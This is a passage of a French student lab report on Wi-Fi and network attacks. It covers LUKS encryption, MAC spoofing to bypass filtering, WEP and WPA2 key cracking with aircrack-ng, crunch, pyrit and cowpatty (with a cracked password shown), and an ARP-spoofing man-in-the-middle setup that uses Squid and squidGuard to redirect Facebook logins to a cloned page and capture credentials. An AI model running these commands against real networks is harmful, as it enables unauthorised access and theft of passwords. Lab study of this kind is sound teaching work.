cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1

Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande :

cryptsetup luksDump /dev/mmcblk0p1

On ouvre ensuite notre partition encryptée en tappant :

cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov

On ajoute alors un système de fichiers à notre partition encryptée avec :

mkfs.ext3 /dev/mapper/tamerlashov

Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés.

mount -t ext3 /dev/mapper/tamerlashov /mnt/
...
umount /mnt/

Pour la ré-encrypter, on utilise alors la commande :

cryptsetup luksClose tamerlashov

Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée.

=== Changement d'adresse MAC ===

L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé '''"baguette"'''. Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC. 

Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes :

ifconfig wlan3 down ifconfig wlan3 hw ether 00:15:af:e7:19:f3 ifconfig wlan3 up

Une fois l'adresse changée nous avons pu nous connecter facilement au réseau.

=== Cassage de clé WEP ===

L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau '''"levrette"'''. Dans un premier temps nous avons téléchargé et installé le paquetage '''aircrack-ng'''. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande

airmon-ng start wlan3

Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande :

airodump-ng wlan3

Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec :

airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3

*L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out
*L'option -c permet de préciser que le canal du réseau est le 6
*L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55

On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi :

aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3

Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message :

Sending Authentication Request (Open System) [ACK] Authentication successful Sending Association Request [ACK] Association successful :-) (AID: 1)

On peut alors commencer l'injection d'ARP avec la commande :

aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3

Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out. 

On peut alors lancer aircrack-ng de la manière suivante :

aircrack-ng out-01.cap

Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs.

[[Fichier:success.png]]

=== Cassage de clé WPA ===

==== Méthode n°1 ====

L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau "cracotte10". 

Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande :

airmon-ng start wlan0

Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande :

aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0

Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng. 

L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch :

crunch 8 8 0123456789 > dico.txt

Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré.

aircrack-ng *.cap -w dico.txt

Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910

[[Fichier:WPA.png]]

==== Méthode n°2 ====

Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair. 

Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule :

crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap

Au bout de 242s nous avons alors trouvé la clé WPA du réseau.

[[Fichier:crack_wpa.png]]

Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide!

=== Attaque MITM ===

Le principe est le suivant :

Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page "facebook". Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque.

La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante :

acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off # Masque notre ip dans le header HTTP
http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 transparent # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard

Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante :

dbhome /usr/local/squidGuard/db
logdir /usr/local/squidGuard/logs

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}

Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 :

squidGuard -C all
service squid3 start

Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs :

cat /usr/local/squidGuard/logs/squidGuard.log

Il faut alors configurer les iptables pour gérer la redirection du trafic :

echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence)
iptables -t nat -A PREROUTING -s <ip du serveur squid3> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3
iptables -t nat -A POSTROUTING -j MASQUERADE # Remplace l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid3

Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande :

arpspoof -i <eth0 -t <ip de la cible> <ip du gateway>

arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible. 

Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil :

wget http://fr-fr.facebook.com/

Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin.